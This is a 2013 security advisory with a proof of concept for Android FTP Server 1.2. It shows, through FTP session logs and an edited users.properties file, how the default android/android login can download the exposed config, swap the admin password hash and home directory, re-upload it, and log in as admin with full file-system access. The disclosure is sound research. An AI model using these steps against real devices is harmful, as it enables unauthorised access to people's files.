Android FTP Server 1.2 Privilege Escalation

`Remote access to Android ftp server 1.2 configuration file allows login as admin   
Date: 9/7/2013  
Author: Larry W. Cashdollar, @_larry0   
Download: http://www.amazon.com/888bid-com-Android-FTP-Server/dp/B00COVVAZM/ref=sr_1_1?s=mobile-apps  
Description: "Transfer files between Android devices and computers without a USB cable and Windows software driver. Transfer files to and from your Android device over the Internet. Use Windows Explorer to transfer files between your Android device and your computer by drag and drop. You can add additional users with read only permission for download, and read and write permission for both upload and download."  
Vulnerability: ftp server exposes configuration file and allows read/write. Allowing a remote user to overwrite the credentials for admin login giving full access to the file system on the device.  
PoC  
Edit the users.properties file and re-upload.  
Connected to 192.168.0.29.  
220 Service ready for new user.  
Name (192.168.0.29:larry): android  
331 User name okay, need password for android.  
Password:   
230 User logged in, proceed.  
Remote system type is UNIX.  
ftp> cd ftpConfig  
250 Directory changed to /ftpConfig  
ftp> ls  
229 Entering Passive Mode (|||49825|)  
150 File status okay; about to open data connection.  
-rw------- 1 user group 679 Sep 7 16:37 users.properties  
226 Closing data connection.  
ftp> get users.properties  
local: users.properties remote: users.properties  
229 Entering Passive Mode (|||59616|)  
150 File status okay; about to open data connection.  
100% |********************************************| 695 9.60 MiB/s --:-- ETA  
226 Transfer complete.  
695 bytes received in 00:00 (121.85 KiB/s)  
ftp>   
If we take a look at the users.properties file:  
#Generated file - don't edit (please)  
#Sat Sep 07 16:13:44 EDT 2013  
ftpserver.user.android.enableflag=true  
ftpserver.user.admin.maxloginnumber=0  
ftpserver.user.android.writepermission=true  
ftpserver.user.android.idletime=0  
ftpserver.user.admin.homedirectory=/mnt/sdcard <-change to /  
ftpserver.user.admin.writepermission=true  
ftpserver.user.admin.maxloginperip=0  
ftpserver.user.android.homedirectory=/sdcard  
ftpserver.user.admin.userpassword=21232F297A57A5A743894A0E4A801FC3 <- replace with 23594328\:070A6394BF17CD0A401F12ACC021714F 'android' password [1]  
ftpserver.user.admin.downloadrate=0  
ftpserver.user.admin.enableflag=true  
ftpserver.user.admin.idletime=0  
ftpserver.user.admin.uploadrate=0  
ftpserver.user.android.userpassword=23594328\:070A6394BF17CD0A401F12ACC021714F  
upload file as android/android user to ftpConfig/users.properties The next time the ftp server is started (on/off button in app interface) you can login as admin.  
login as admin/android  
ftp> user admin  
331 User name okay, need password for admin. Password:   
230 User logged in, proceed.  
Remote system type is UNIX.  
ftp> dir  
229 Entering Passive Mode (|||52585|)  
150 File status okay; about to open data connection.  
dr-x------ 3 user group 0 Jul 11 20:09 acct  
d--x------ 3 user group 0 Aug 17 09:09 cache  
d--x------ 3 user group 0 Jul 11 20:09 config  
dr-x------ 3 user group 0 Dec 31 1969 d  
d--x------ 3 user group 0 Sep 16 2012 data  
dr-x------ 3 user group 0 Jul 11 20:15 dev  
d--x------ 3 user group 0 Sep 2 14:07 dropbox  
dr-x------ 3 user group 0 Mar 29 13:48 etc  
dr-x------ 3 user group 0 Jul 11 20:09 mnt  
dr-x------ 3 user group 0 Dec 31 1969 proc  
d--x------ 3 user group 0 Feb 26 2013 root  
d--x------ 3 user group 0 Dec 31 1969 sbin  
drwx------ 3 user group 0 Sep 7 15:09 sdcard  
dr-x------ 3 user group 0 Jul 11 20:09 sys  
dr-x------ 3 user group 0 Mar 29 13:49 system  
dr-x------ 3 user group 0 Mar 29 13:49 vendor  
-r-------- 1 user group 118 Dec 31 1969 default.prop  
---------- 1 user group 94200 Dec 31 1969 init  
---------- 1 user group 1677 Dec 31 1969 init.goldfish.rc  
---------- 1 user group 11658 Dec 31 1969 init.omap4430.rc  
---------- 1 user group 14869 Dec 31 1969 init.rc  
-r-------- 1 user group 0 Dec 31 1969 ueventd.goldfish.rc  
-r-------- 1 user group 840 Dec 31 1969 ueventd.omap4430.rc  
-r-------- 1 user group 4203 Dec 31 1969 ueventd.rc  
226 Closing data connection.  
ftp>  
  
Tested on kindle fire & droid bionic.   
[1] MD5 of admin, http://www.md5-hash.com/md5-hashing-decrypt/21232f297a57a5a743894a0e4a801fc3 but didn't allow me to login when I used admin/admin. Vendor: Not notified.  
`